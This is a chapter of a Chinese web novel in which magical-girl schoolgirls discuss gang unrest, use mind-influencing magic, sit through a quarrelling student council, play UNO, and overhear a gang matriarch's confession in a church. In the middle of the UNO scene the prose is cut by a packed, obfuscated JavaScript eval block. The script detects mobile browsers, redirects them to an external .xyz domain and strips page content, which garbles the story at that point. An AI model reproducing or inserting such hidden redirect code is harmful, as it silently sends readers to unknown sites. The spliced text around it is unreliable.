“希望各位在昨日休息的同时没有忘记即将到来的期中考试,近期大家要注意安全,放学后不要在街道上逗留,接下来开始点名。”古河梦久一如既往地重视大家的学习问题。 对于大多数学生来说昨日仅仅是从天而降的一日假期而已,但对于小部分人来说昨日度过的称不上是悠闲的。 【我和母亲说过了!我在社团活动时间内可以自由行动了,不过晚上还是要回家吃饭的。】有乐羽生告诉了大家自己的战果。 【那今天放学大家就一起出发去启明星侦探的工作室吧。】艾克里普说。 几人纷纷同意,然后趁着晨课时间聊天。 【今天早上学校的主干道出口那里多出了很多保安人员登记信息,还用上了面部扫描,其余几个出入口都封闭了,果然最近治安不太好吧。】犬山晓说。 有乐羽生心想自己母亲的行动真是迅速。 【是呀,我昨天晚上回家的时候遇到了打劫的人。这还是我第一次和这种人说上话。】森山寺未央煞有其事地说。 【虽然说大家应该不会被这种人伤到,不过还是需要小心点噢。】艾克里普提醒说。 【一般帮派成员都是很好面子的,无论规模,作风通通都是打了一个会来一群呢。】有乐羽生也赞同说。 【通常是不会遇到的啦,我昨天没有坐公交回家。不过真想知道这些人最近在干些什么呢,以前我从来不知道西边这里□□能引起这么大的骚动。】森山寺未央说道,【不过那些人好像也不是帮派成员,都挺年轻的。】 【确实很奇怪,我记得其它地区,以及其它城市的类似的组织大部分都没有这么大的影响力。】艾克里普回忆着说,【它们大部分都是为了利益而聚集使用暴力手段的小团体,近30年内大多数都因为成员数量太少,要么解散要么转型了。】 【其它地区是这样的吗?本地的那些,尤其是有姓氏的家族势力都很庞大,而且有和当地的政府签订协议呢。】有乐羽生说。 【我知道一点,是产业合法化的限制协议吧,政府为了打压帮派成员的暴力手段,一方面控制了它们的影响力,一方面将没有签订协议的团伙定义为暴力集团进行镇压。】森山寺未央对这件事有所耳闻。 【这一点每个国家应该都是一样的呢,但是感觉这里的情况并没有得到很好的控制。】艾克里普疑惑道。 【没错,不仅仅是最近的这些动乱,之前这里的地下产业链就很发达,虽然说并没有影响到正常的社会秩序,但也没有怎么被限制。】犬山晓若有所思地说,【地下赛马和拳馆都很多,枪械和毒品的贩卖虽然有被控制但我没少看到过。现在来看这个其实是不正常的吧?】 【因为那个协议里面包含的一些内容实际上放任了帮派势力的成长,当然是没有明说的,但没有禁止。那些有姓氏作为归责方的家族内部管理大部分十分严格,没有大肆招收外来人员,但也并没有因为时间的推移就降低了影响力。】有乐羽生想了想,【天生目家就是最大的例子,大家如果有去她们的住宅看过应该就能理解一些。】 【总感觉有点奇怪,没有主动招收外来人员的话要怎么维持对外的影响力的呢?我之前玩的游戏里有介绍说五十多年前这里的大型帮派能有两万多个成员,但是管理松散,主角自立门户只需要和老大说一声。】森山寺未央疑惑道。 【它们内部如何我不清楚,但由于协议,一些家族的势力在监视下是有权干涉社会治安问题的,而且家族内部的一些行为政府反而无权干涉。政府与帮派成员之间有专门人员负责协调和沟通,这个职位属于公务员呢。】有乐羽生介绍说。 【只是我对比之后的猜想哦,比起其它地区的那些帮派来说,这里的这些,是不是权限有些过于大了呢?】艾克里普总觉得有哪里不对。 【没有错哦。】有乐羽生承认道,【虽然两边在结构上都是层层叠叠的,但能堆这么高还没塌也不得不称赞一句地基挖的深了。】 【这样的话总感觉社会秩序会很轻易地就崩塌吧,能坚持和平到现在真是了不起。】犬山晓感慨说。 【正常来说就是这样的,试图相信一群暴力分子自愿安分守己就像是相信一块肉放在夏天的室外不会坏掉。但这份和平确实从1988年开始维持到了现在。】有乐羽生也觉得奇怪,但在她看来历史上奇怪的事情太多了,现实不太讲究逻辑。 【公务员们难道也是魔法少女?所以能用魔法威胁那些人安分守己?】森山寺未央大胆猜测。 “扑哧——”点名过程中响起了这样的声音,是有乐羽生忽然笑出了声,但很快就假装咳嗽掩盖了过去。 【咳咳,哈哈哈咳咳咳——】有乐羽生试图靠喝水平复心情,但她被水呛到了。 【这个原来有这么好笑吗?】犬山晓若有所思地说。 【不,不是的,】有乐羽生连忙补充说,【这个部门的领导就是我母亲,所以。】 说道这里她又想笑了。 【原来是这样,按照羽生妈妈的态度,这个部门的公务员确实应该不会使用魔法。】艾克里普点了点头,【那位顾问非常讨厌无法被评估风险的行为呢。】 【但这样的话,是什么能让拥有大量武器和人员的帮派成员安分守己呢?】森山寺未央还是觉得自己说的有一番道理。 【难道说是Evo制造的人造魔物吗?】犬山晓思索道。 【这个猜测是合理的,我们昨天也受到了来自帮派成员的车的追击,如果说这背后是有人类之间的交易所致的也说得通。】艾克里普若有所思地说。 【难道昨天发生的动乱和我们的行动也有关吗?】有乐羽生意外地说。 【不,】森山寺未央迅速地否认了,【昨天那个情况明显是那些□□成员不想和天使的事情扯上太大的关系,她们都没看到那位出场吧。或许□□的那些大家族里有谁知道一些内情,但要做的事情大概率与我们无关。这并没有排除那些人未来可能会对我们动手的可能性。】 【果然这里还是得先把以前都整理清楚啊。】犬山晓叹了口气。 点名结束了,学生们各自结伴前往接下来的课程。 森山寺姐妹的数学课上,古河梦久老师的身边少了一个助教,她并没有因此就懈怠教学内容,只是这件事还没过去多久,她还没有那么快就习惯一个人的离开。 这让森山寺未央想起了西西路老师,以及那个毛毡玩具。 【你在想什么呢?】森山寺未雅发现坐在自己旁边的人在发呆。 【咦你怎么就学会魔法传音了?】森山寺未央吓了一跳。 【你会用我就会用。】森山寺未雅觉得她大惊小怪,【难道说你不会用?】 【…未雅,你记得我们之前去西西路老师公寓里找到的那个毛毡玩具吗?】森山寺未央问。 【你还喊她西西路老师啊,】森山寺未雅面无表情,【记得,你准备把它交给古河老师吗?】 【对呀,但是我们交给她的话有点可疑吧,它突然出现在桌上也很可疑。】森山寺未央说。 【古河老师在这方面是很好说话的呢,和妈妈一样。】森山寺未雅说。 【什么?那就直接给她就可以了吗?】森山寺未央问。 【你给我吧,我会让它被正常地交到老师手上的。】森山寺未雅说,于是森山寺未央没有再疑问,直接将那个毛毡玩具交给了森山寺未雅。 下课后,古河梦久回到自己的办公室,发现自己的办公椅上蹲坐着一只猫,理直气壮地占据了她的座位,她扶了扶眼镜,那是一只身材健硕的大狸花猫,胆子大得很,姿态放松,见有人来了也没什么反应。 她的办公室门是关着的,可那窗户开着通风,限制在二十厘米不到的开口不会让人掉下去,但却阻止不了校内神出鬼没的流浪猫。 “这可是二楼。”古河梦久小心翼翼地想要挪到狸花猫身边,它只是瞧了她一眼,就跳下椅子,从办公室的门正大光明地散着步离开了。 古河梦久遗憾地目送对方离开,回头一看却发现自己的椅子上放着一个东西,她看着眼熟,拿起来后迅速就认出了这是什么。 “…算了,就再送给你一次吧。”她沉默了许久后,这样说道。 【好了,回去吧。】森山寺未雅确认那只狸花猫准确无误地跳进了窗口后就不打算管了。 【这就是你的特性魔法吗?总感觉和读心术一样,还能预测有小猫咪会来这里。】森山寺未央夹着嗓子说。 二人在课后,趁下节课还没开始的休息时间来到了教学楼后,找到了古河梦久的办公室窗口。森山寺未雅在使用自己的特性魔法扫描了周围一圈之后,迅速锁定了那只狸花猫。随后森山寺未央使用精神引导它跳进古河梦久的窗口。 【那完全就不是小猫咪。】森山寺未雅纠正说,【我的特性魔法是预测别的个体会选择的所有未来走向,是与精神相关的魔法,在我觉醒魔力之后你的特性魔法也发生了改变吧?】 【我倒是感觉没什么变化,不过变化确实有。我以前也不会在魔物以外的个体前使用我的特征魔法,引导个体的选择倾向这件事还是我第一次做。】森山寺未央点点头,她觉得自己的特性魔法实际上在与魔物战斗时起不了什么作用。 不过她一直以来的战斗方式就不是自己亲自上,所以这也无所谓了。 【我们两个一起的话,魔法的效果会很好。】森山寺未雅这样说着,神情却是若有所思。 【那确实,有种从被攻略的角色的角度去干涉玩家的反向攻略游戏一样,这种类型的游戏一般被归为恐怖游戏里吧。】森山寺未央说,【你不会是想做坏事吧?】 【…没有那种事。】森山寺未雅说,【你记得之前艾克里普说过,干涉精神的魔法是被禁止的,所以她也不理解那时我们身上发生的事情。】 【我记得。】森山寺未央点了点头。 【之前你的魔法只作用于魔物和我身上,可现在我们的精神魔法根本就没有限制,而且我们在使用的时候也没有任何奇怪的感觉。】森山寺未雅说。 【可是艾克里普是没有理由对我们说谎的。】森山寺未央实际上也觉得奇怪。 【她确实没有说谎,但她,】森山寺未雅想了想,【艾克里普是和我们不一样的存在,她与魔法的关系与我们不同。我并不是说她说的话不可信,但我们有自己的情况。】 【我知道!】森山寺未央笑着说,【对吧?艾克里普是很温柔的人,未雅也觉得她是很可靠的对吧?】 【这个不是重点啦。】森山寺未雅有些不好意思。 【我们两个的问题,我们两个可以一起解决啦。】森山寺未央说,【不用不好意思,我们是朋友,艾克里普如果遇到了问题我们也要帮助她的。】 【好吧,你说的对,比起这些我们更应该先考虑之后的问题。】森山寺未雅叹了口气。 【比如说中午一起去自助食堂吃饭,果然还是这样比较好。】森山寺未央说。 【比如下节英语课的前置作业,】森山寺未雅无情地指出,【你没有写,我知道。】 上午的课程一晃而过,有乐羽生虽然高中之后已经不怎么参与学生会的事务了,她的那份工作有人抢着替她干。可无论如何学生会代表徽章还戴在她的领结上,她依旧需要参与例行的学生会干部会议。 学生会附属楼二楼议事厅内,高中部六位学生代表与正副主席齐聚。 “关于近期社会治安问题导致的学业进展不顺利问题,我希望各位代表以身作则展现应有的学习态度的同时,也同样为日之森高中部的各位同学设身处地地思考,该如何让同学们在降低心理压力的同时,以良好的心态迎来即将到来的期中考试。”学生会高中部主席苍山明野说出了会议目标。 也就是说,要大家集思广益,想办法以学生会的名头组织校内学生提高学习效率,有乐羽生总结道。她与这位主席的关系许久没有维持了,不知这位最近想法是否发生了改变。 苍山家是日之森基金会最大的校内股权掌控者,但代表人的教育理念与日之森现在的校风有所不同,有乐羽生曾经听她不经意间表达过自己的摇摆不定。现在她提出这一点或许是希望加深自己对校内风气的控制。 “这,日之森崇尚学生多元化,我们或许不应该干涉学生们各自的学习方式。”纪检部管理者花野夕雨语气委婉地说,但有乐羽生记得她之前是规则的维护者,是什么让她的想法发生了改变? “我也认为学生们应该独立学习,我们组织活动可能反而会碍事。更别提以往类似的活动举行过不少次了,但每次回顾都没看到有合适的结果。”学术交流部门的雫石梓扶了扶眼镜,这句话倒是在有乐羽生的预期内,她的家里是文教派,主张开放教育改革。 “但我们需要表达学生会的立场,别忘了,这才是最重要的。学生会该有学生会的态度,我们不能因为那一些不好看的结果就改变作风。”公关策划部门的九重澪停下了手中的笔,有乐羽生对她疲惫的表情若有所思,往常她通常是打圆场的那个。 “不要吵架啦,这样定期举行的活动是有意义的,但在形式上我们可以通情达理一点。学生们实际上已经习惯于重大考试前会有类似的活动出现了,长远来看这样的活动一定是对长期发展有用的。”活动策划部门的月岛理世打圆场说,有乐羽生发现对方自从在去年的活动中有学生意外受伤后,这位乐天派的行事风格圆滑了许多。 “没错,我们必须组织有意义的活动。现在正是人心涣散之时,我们此时的行动不仅仅是为了准备期中考试,也是为了将大家的心思带回到学校中。我们作为学生会成员更应该以身作则,不该去顺应短期现象结果,而是应该坚持一开始的做法。”神原艾莉莎冷静地说,这位与有乐羽生同年级的总务部负责人一进入学生会就是坚定的主席拥护者,有乐羽生都不记得多少次不小心听见她们两个人私下谈话了。 场面一片混乱,会议结果已经没有意义了,这里的人比起活动本身,更想表达自己的意见或者达成自己的目的。有乐羽生不太想参与到这种大家各说各的,根本没法听进别人说的话的讨论中,她只是拂去了心头的烦躁与冷嘲热讽,觉得有点饿。 “我们有必要展现完美的正面形象!日之森的学生都在等待我们做些什么,我们不该辜负学生们的期待不是吗?我会尝试和社团活动部门那里的负责人沟通以达成更多合作。这一活动也会更好地维持学生会成员对校内成员的了解。” “具体的活动执行方案呢?我还是认为这只会削弱正常学习秩序!一切的前提是这不会扰乱校内以往的作风。” “我认为可以让优秀高年级学生带低年级学生学习,这是推动学生学习交流的好机会。而且高年级的学生更熟悉这一活动过程和意义。” “我认为小规模的比较好,或许我们可以使用网络直播?顺应现代化发展的活动方式更高效且更能表现出学生会的进步吧。” “那就必须布置好空间,我们初衷不是这样的吧?近期校内校外安全管理森严,如此大规模的行动一定会影响到学生们的日常生活,到时候维护秩序又是我们的工作。” “你以为去年的匿名投诉有多少?学习会又不是没有过,每次都有人投诉。你们有考虑过这个活动真的对长期发展有益吗?日之森十几年前可没举行过这种活动。” “那就根据那些反馈改进啊?你难不成还害怕那些投诉信里面有毒吗?” “大家的意见我都记下了,有趣,不过还差了一个人的。”副主席白贺音理抬起头来看向有乐羽生,“有乐同学有什么想法吗?” 这位副主席反而是学生会里最有资历的,她现在高中四年级,从初中部开始就是学生会副主席,一直负责学生会的信息情报整理和会议记录,有乐羽生都不敢想这个人知道校内人员多少黑历史。 “大家的意见不统一可就头疼了,我想想。”有乐羽生想了想,有人偶尔看向她,但显然争吵更重要一些。 比起完成活动,达成在场的各位的内心的想法才是重要的点。有人想要表态,有人想扩大影响力,有人想表达自己站在那一边,有人想抛下责任,有人害怕牵连自己。 “我认为,大家提出的观点都是有意义的,但比起在这里争吵,不如去问问高中部的大家的想法如何?”有乐羽生笑着说,“以每个课程的班级进度为基础,向学生们分别征集自己的想法和意见,以及对目前情况的想法。以网络匿名调查问卷的形式以学校邮箱发放,这样还愿意填写的一定是真的有所需求的。” 比起意见,有乐羽生提出的是做法,她并不想在这种情况下表达自己的态度。 “好的,我记下了。”白贺音理点了点头。 会议依旧在争吵之中结束了,有乐羽生回忆起初中时的学生会会议内容,感慨还是初中部的大家更为学生们着想。但现在的学生会代表曾经也都是初中部的,高中部和初中部区别是有这么大的吗?那大学呢?有乐羽生一边想着一边快速走向食堂。 现在她已经不会再因为饥饿而感到焦头烂额了,因为她的魔力已经足够弥补这一点,但适时的饥饿与定时进食会让她更有脚踏实地的感觉,更何况她并不讨厌进食。 大家现在在干什么呢?有乐羽生不禁想道。 “等等!为什么你把手放在下面?”森山寺未央严肃地表达不满。 食堂二楼的角落圆桌,四个人围成一圈,正是犬山晓,艾克里普,与森山寺姐妹。有乐羽生远远看到她们几个,去买了些面包后走了过去。 “哦!羽生你来啦!”坐在一旁看着的艾克里普看见有乐羽生抱着几个小蛋糕,招手让她坐到自己的身边。 “原来是在玩UNO牌,好怀念啊,我小时候也玩过这个。”有乐羽生坐在艾克里普身边感慨到。 牌桌上的中央已然堆积了大量弃牌,艾克里普将那些牌拢了过来,留下最上面的一张黄色反转牌,与弃牌堆混在一起重新洗好放回原处。 森山寺未央和森山寺未雅面对面,目不转睛地盯着各自的的手牌,二者手里牌的数量不相上下,一对双胞胎之间的竞争是常人难以想象的。 “…”犬山晓面色凝重,就和她手里握着的那一把牌一样重。 “那是还没出的牌吗?”有乐羽生忍不住问了,犬山晓的脸色又凝重了一分。 “是的,”艾克里普怜悯地说,“晓她一直在被加牌。” “那也给对方加牌比较好吧,这种场面看着也太可怜了。”有乐羽生说。 “可是一般来说,要把好用的牌留到最后吧。”犬山晓整理了一下手牌,落在桌上发出咚的一声。 “如果是我的话,这种情况下宁愿不去顾及结局,也要想办法让对手手里的牌多一点再说呢。”有乐羽生笑着说。 “这样说不定也会带来转机,值得一试呢。”艾克里普点了点头。 “说起来艾克里普不玩吗?”有乐羽生好奇地问。 “我的牌都出完啦,因为出的太快了所以不算就这样结束,我现在看着大家玩。”艾克里普笑着说,没有在炫耀。 “艾克里普,牌运很好呢。”犬山晓从牌的后面看了过来。 “是新手运吗?”有乐羽生问。 “不,这是第十把了。”森山寺未央抬起头,抽出了一张绿色的反转,“你绝对没有绿色了!” 于是又来到了森山寺未雅的回合。 “这个卡牌类游戏规则很简单,没什么手法要求。”艾克里普点了点头。 “转为绿色。”森山寺未雅扔出一张万能加量牌,犬山晓面色平静地伸出手摸出四张牌,放在自己的牌上上,随后扔出了一张同样的牌。 “红色。”她扫了一眼自己的扇面说,森山寺未央眼睛一闭,伸手摸牌。 “这样下去总感觉没完没了了。”有乐羽生看到了结局。 “没错,这已经是重开的第十把了。”艾克里普点了点头,她在此之前从未洗过牌,但现在已经可以做到完美的空中花式拉牌了。 “重开吧。”犬山晓说。 “重开吧。”森山寺未央率先把牌一摊,没有一张红色。 “重开吧。”森山寺未雅放下牌,没有一张绿色。 艾克里普把牌拢了过来,向有乐羽生表演了一番自己的新技能。 “这次羽生也来玩吧,我就不玩了。”艾克里普说。 有乐羽生点了点头,放下了手里的翻糖块,坐在了犬山晓的旁边。 七张牌到手,以被翻开的牌的拥有者有乐羽生先手。 一张万能加量牌,一些功能牌,几张杂色数字。有乐羽生看着自己手里的牌,打出一张蓝色的三。 3红,2绿,1蓝,1黄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803706|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有功能牌。犬山晓平静地接受了自己的牌运,跟出一张蓝六。 红色功能牌很全,加上红色数字连顺。森山寺未央下定决心要结束一切,打出加牌,选择红色,犬山晓摸来两张牌。 什么牌都有一点,黄色比较多啊。森山寺未雅心里有了决策,跟出了一张红七。 “黄色。”有乐羽生扔出换色,抬头看向其它人。 “我加一张,”犬山晓发现自己还是没东西出,伸手摸了一张牌,发现居然正好是黄色的三,“等等我跟。” “跳过。”森山寺未央扔出黄色跳过了森山寺未雅的回合。 森山寺未雅看着牌堆,心里把牌都记下了。 “反转。”有乐羽生将回合转回森山寺未央先手。 “红加牌!”森山寺未央毫不犹豫地打出,有乐羽生摸了两张牌。 “零,换牌。”森山寺未雅思考后扔出了卡组里唯一一张红色,红色零,她与犬山晓互换了手里的牌。 “哦哦。”犬山晓有些不好意思地交出了手里刚刚理好的牌。 有乐羽生看了看牌堆,思考过后将颜色变为了黄色,森山寺未央传来了质疑的目光。 但黄色手牌特别多的犬山晓开始难得顺利地出牌,她不太理解为什么自己运气忽然就好了起来,但是手里的牌变轻的感觉相当不错。 “等等,反转。”森山寺未雅换了一张牌打出。 “换色,换成蓝色!”森山寺未央孤注一掷地扔出手牌。 “哎呀好可惜,摸一张。”有乐羽生伸出手摸牌,森山寺未雅看向她的眼神充满质疑。 “U,UNO!”犬山晓面色激动地扔出手里的蓝色二,她自己都不相信能顺利成这样。 “蓝色八。”森山寺未央冷静地出牌,她看向森山寺未雅。 “红色八。”森山寺未雅心领神会,她知道犬山晓的牌组里没有红色。 “反转。”有乐羽生打出一张红色的跳过。 “…反转。”森山寺未雅就这么一张红牌,森山寺未央被跳过了。 “跳过!”犬山晓扔出了一张黄色的跳过,她站了起来,脸上情不自禁洋溢出了笑容,“我赢了!结束了!” 把牌扔下的感觉很轻,连人也跟着一起轻了起来,犬山晓重新坐下,朝椅背靠去,晃着脚感受赢家的快乐。 “恭喜你,结束啦!”有乐羽生将牌放进了牌堆里,继续啃食起翻糖,色素把她的嘴都染成了蓝色。 “哦哦恭喜,结束了,这次好快!”艾克里普将桌上的手牌拢了过来。 “结束了呢。”森山寺未雅笑了,她觉得这样的游戏也很有趣,她以往从未与同龄人进行这样真正意义上平等的游戏,大多数竞技游戏到最后都会变成她们姐妹两个人之间的斗争。所以无论是赢了还是输了对她而言都差不多。 “结束了。”森山寺未央露出了释怀的笑容,她站了起来,然后腾一下爬到椅子上站着了。 “…这是在干什么呢。”有乐羽生抬头看抬着头的森山寺未央。 “那里人比较少,她害羞呢。”森山寺未雅说,“那个学校吉祥物糖居然是能买的吗?我以为是纯装饰呢。” “确实是装饰!但老板把它送给我吃了,谢谢老板!”有乐羽生晃了晃手里的糖。 艾克里普趁着大家在讨论,偷偷透过牌面看了一眼牌堆中,有乐羽生扔进去的那几张牌。 一张蓝色五藏在那里。 “好啦你也该下来了,一会有人来了就不好了。”森山寺未雅戳了戳森山寺未央的膝盖窝,她一个翻身坐回了椅子上。 “这次是你赢了,不过下次就没这么容易了。”森山寺未央咧着嘴笑着说。 “谢谢?”犬山晓也不确定该回答什么。 忽然,楼梯口传来了脚步声,有人在上楼。 “哎呀,快把牌藏起来。”有乐羽生说,艾克里普点了点头,迅速把牌收进了口袋里。 上楼的人有乐羽生并不陌生,而其它人也从领巾上的徽章认出来来人是谁。 “有乐同学,”苍山明野的面色带着些许疲惫,“已经快到上课的时间了,最近是非常时期,我希望你作为学生会代表为大家做好榜样。” “自然,苍山同学。”有乐羽生微笑回应。 或许是有乐羽生的蓝色唇彩太超出校园仪容仪表范畴了,苍山明野没再多看几人,转身就朝便利店走了。 除了有乐羽生以外的所有人都对于这位学生会主席不太熟悉,她们记得这位曾经在学校礼堂演讲的样子,但除此之外便没有更多了。 “刚才我们还在讲为期中考开学习会的事情,现在就让苍山同学看见我在我在和大家玩牌,她肯定会生气。”有乐羽生解释了一番。 “即使没看到我们在玩牌,她的愤怒也难以忽视呢。”森山寺未雅说。 “而且她也没吃饭,你们学生会果真不给饭吃吗?”森山寺未央感到遗憾。 “哈哈哈,今天大家都在吵架,所有人没有吃东西的时间啦。”有乐羽生笑了。 “吵架,是因为那个学习会的事情吗?这个也能吵起来吗?说起来确实要期中考了。”犬山晓依旧一副很开心的样子。 “是的,不过吵架的原因倒是和活动本身没什么关系。”有乐羽生有些无奈,“虽然大家都是高中生,但是都各有各的目的和难处呢。” “这种事情的发生不分年龄段和地区,只看有没有想要的东西。”森山寺未雅说。 “我们以前的初中里也有类似的小型团体,总是为一些莫名其妙的事情搞小动作。”森山寺未央苦大仇深地点头。 “其实这样来说那些□□成员也是这样呢。”犬山晓点点头,顿了顿又补充道,“我没有在说学生会里的人是□□作风哦。” “人类社会就是这样的啦,每个人都有各自的思想就难免发生这样的事情。不过即使是这样大家也能聚集在一起一齐发展,这正是可贵之处。”艾克里普笑着说。 “这样一说,虽然说社会的问题会影响到学校,但反过来说校内的情况也反映了社会情况,或许等外界的情况平静了下来之后学校里也会平静下来吧。”森山寺未雅说着,看向了窗外,食堂建筑北边的日之森湖宁静无波。 “侧面来说校园生活的平静就靠我们了,原来如此,这就是责任感吗?”森山寺未央点了点头。 “是这样吗?不过如果城市恢复和平,那大家也就能安心学习了。”犬山晓也点点头。 “哎呀,这样想也可以,不过要上课了,大家下午的课加油!”有乐羽生觉得没什么问题。 “下午放学后社团活动教室见吧!”艾克里普说。 中心湖往南,位于南居民区北段的临湖艺术馆旁坐落着一栋天主教教堂,宗教用途设施建设计划在上世纪末提出。前置法律程序与土地购买手续半年,规划设计半年,施工与验收耗费三年,三年间有七次整改,南居民区社区听证会三次,之后内部布置三个月。 最后的主教认证仪式日期在约二十三年前的一个雨天清晨五点,往后多年风雨交加,居民眼里这栋尖顶单层建筑至今依旧是南居民区里的新人。 周四正午时分,非礼拜时间,工作人员休息且空间内无社区活动预约,但教堂的门从来不锁,灯也不关,意思是欢迎无家可归者来这里休息。 如果它的位置出现在往北16公里偏西的密集建筑群中,那这个意思才够意思。对部分人来说宗教是需求,需求宗教的人大多是先跪倒在地才注意到地面上脏不脏的,脏一点反而更好,污渍多一点身上的荆棘就少一点。需求宗教的人重视其功能性和实用性,其余,逻辑性真实性象征意义和艺术性,通通都是新人。 新人当然有说些什么的权利,但说了之后是被接受,还是被前辈用包容且鄙夷的眼神打量,那就是后话了。 显然此处教堂的“其余”部分占多,可能就是太多了,在彼此牵手之中,新人重获新生。功能性依旧保留,但却反而变成了某种象征性的东西。 告解室同理,牧师不在的告解室就只是一个空房间而已,无灯无窗,更显得真话明亮。 但告解室内现在有个客人,阴影之中,木板硬座之上,有位需求者。 “二十三年前,南流岛狱警给我带来了他死去的消息,混凝土地下三十米处,那个月的信只有那么一句话,我因为隔离制度未发一言,那时,刑期还有五年。”细密的倾诉如蛇以腹前行时草地发出的低语,于阴影中扩散,被周围木板吸收,暗色再添一分。 声音平调无波,如黏在地上一般无起色,除发言者自身情绪以外,也因语言。 “二十年前,信上说科勒斯特死了,我没有信。我下的仲裁令,于是那之外的参与者都被割去耳鼻。天不渡那老头没死,风气却改变了。”倾诉声中不包含懊悔情绪。 “十八年前,我的接风人中站着天生目池元,她是个商人,说那些话就该做好被我们拔掉指甲的打算,可风气变得快。十五年前,所有人都失去了仲裁权,无论是过去,还是未来。” 她不怀念。 “我无法拒绝,也不会忘记。”她说,“十五年,阳光让那些人和结构都肿胀得恶心,我们如猪狗,四肢着地,眼向上看,得到的还是低人一等的视野。” 她好像没有在忏悔。 “十五年,我调解内部矛盾,但没能解决制造矛盾的人,十五年,我判决六百五十五个告密人,有人跑去了铁栅栏的后面,有人跑去了船上。无论跑去哪里我都看得到,玛丽亚,家庭是最大的风险,但背叛者不该活着。” 她有别的教条。 “但是,她们也不该死无全尸,玛丽亚,可否告诉我天使带着她们的灵魂去了哪?”她嗤笑,“几十种埋葬方法都找不出一个安放她们的去处吗?我会守好秘密的,就像我一直以来做的那样。苦痛既然存在且无人避免,那么我想,我不该抱怨。” 她敬畏的存在另有其人。 “但是,他被原谅了,被谅解了,无罪了,自由了。他抛下荣誉,也会抛下伤疤,而我早已失去了仲裁权,我们都是。”她说,“这怎么行呢?刺青若与地位不符那该就刮去其皮肉。” 她站起身,带上眼镜,修长的身体无法在告解室内舒展,于是她半只脚踏出阴影,那黑色在她胸口与脖颈间残留花纹,勾勒为黑星与教堂穹顶的样式。 教堂内依然无人,她从黑沉告解室内走出,穿过长木椅群,圣经书架,花篮,画架以及捐款箱,径直走出了教堂,下石阶前行,花园外,一辆黑色私家车在不久前停在了哪里。 司机下车为其开门,她点头致意并入座,车辆离开了。 不久后,一辆银色宾利停在花园外,司机下车开门,乘客下车,看向教堂,来者是有乐千奈。她扫视教堂建筑外轮廓,找不出一个满意的着眼点,便没去评价这位新人的“其余”特性,径直独自走入其中。她穿过一切走向告解室,皱眉弯下腰,从木板硬座下方拎出一个黑色铁皮箱。 告解室属私密神圣空间,监控违法,牧师也必须守住告解者的秘密,即使其尚未来得及,也不需要被给予赦罪。 有乐千奈没有开箱检验,径直离开了教堂,经过捐款箱时,她取出钱包捏起一叠现金塞了进去,纸币落入发出细碎声响。 随后她上车离开了。 51.★ ★ ★ ★ 几人分开前往下午课程的教室,周四下午的选修课是电脑科学,以及各自的艺术或体育选修课。森山寺姐妹结伴前往电脑教室,其余的人各自进行自己的活动。 这节电脑科学课教学的内容是搭建自己的个人网站。 “我觉得我们的乐队应该有一个官方网站。”森山寺未央悄悄说。 “没错,是得必须得有一个。”森山寺未雅点点头。 二人完成了老师布置的作业内容后,飞快根据课程内容搭建了Mirare的展示网站,森山寺未央从云端下载了之前演唱会的视频和截图放在页面中,虽然还不算精妙,但也有了完整的框架。 “总感觉切换页面时的动画可以换一下,不过现在这样也差不多了。”森山寺未雅点了点头。 “等以后我们会设计乐队周边,把LOGO印在T恤上去开演唱会!”森山寺未央期待地说。 “肯定会引起潮流的吧。”森山寺未雅对此非常自信。 “…我要开始练习签名了。”森山寺未央说,她的字可以说只能勉强认得出原型。 “会有人找贝斯手签名吗?”森山寺未雅问。 “我弹的这么好肯定会的吧?”森山寺未央疑惑为什么这么问。 “好吧,”森山寺未雅没有再说什么,“下节课我们没课,干什么去?” “不知道,我不要去图书馆。”森山寺未央说,她讨厌这种必须保持安静的环境。 “去操场看看?我们也需要练习一下运动技巧,一味靠身体强度对敌可不行。”森山寺未雅提议说。 “好呀,说起来这里体育居然是选修的,我都没去过操场和体操房。晓她说英语老师早上会去晨跑,还会看到晨练的社团成员。”森山寺未央点了点头。 “总感觉,”森山寺未雅想了想,“她会一个劲地跳高然后被十万个人悄悄观察,但是她自己不知道。” “指向太明显了,而且晓如果一个劲地跳高那不就变成发射的火箭了吗?”森山寺未央说。 “哈哈哈。”森山寺未雅忍不住笑了。 “有的同学作业做完了可以看看四周的同学有没有遇到困难。”带着眼镜头发自来卷的电脑科学老师从讲台电脑后方露出了视线。 俩人马上不说悄悄话了。 第二节课的艺术课时,艾克里普正在美术教室里完成自己的素描作品,她对于美术教室里环境非常满意,大家几乎都一句话都不说,只有工具会发出声音。 课程内容是绘制石膏人像,来自神话传说中经典造型的头颅因长期使用下的磕碰而产生了全新的光影。只是将眼前看到的东西转移到纸上而已,这对艾克里普来说没什么难的。 她左前方的画板属于一位自小学习绘画的学生,她现在专精于油画,来上美术基础课只是想要学分。右前方是一位漫画爱好者,她想要尝试自己绘制漫画却因为基础太差而烦恼,想要从这节课的内容中得到提升。 二者同时绘制石膏像,但效果天差地别。 左前方的那位高手随手几下勾出了大致的外轮廓,随后起型定型都几乎可以说是随心所欲的,但最后得到的成果偏偏就栩栩如生,她近乎没有用到任何多余的一笔。艾克里普发现她画的内容和她观察的内容实际上是不一样的,但却有着相似的感觉。 右前方的那位新手陷入了困境之中,她已经不知多少次把右手伸直去确认外型的位置了,但最后落在纸上的部分总是不尽人意,她低头抬头又低头,最后选择再次拿起橡皮擦。重新落笔时她放弃使用比例去定型,没有再纠结于外部,反而认真地刻画起了五官。 艾克里普低头去看自己的画,纸张的上半部分内容可以说是和照片打印上去的一般,她看到了什么就画下来什么。纸张的下半部分一片空白,像是打印机打印到一半没墨了了一样,那是因为艾克里普画到这里时停下了。 总感觉有什么不同啊,艾克里普看着自己的画,再看看别人的,再看看石膏像。 她加入美术课程的原因是这里的学生大多数不会说话,在她的眼镜的影响下,至今都没有人发现她的画有哪里不对,连美术老师都没有注意到她至今没有把自己的练习画册留在画室里过。 将自己看到的东西画下来没什么难的,但艾克里普想要的却不是这样,她悄悄把画板上的画取了下来,换了一张新的纸上去。 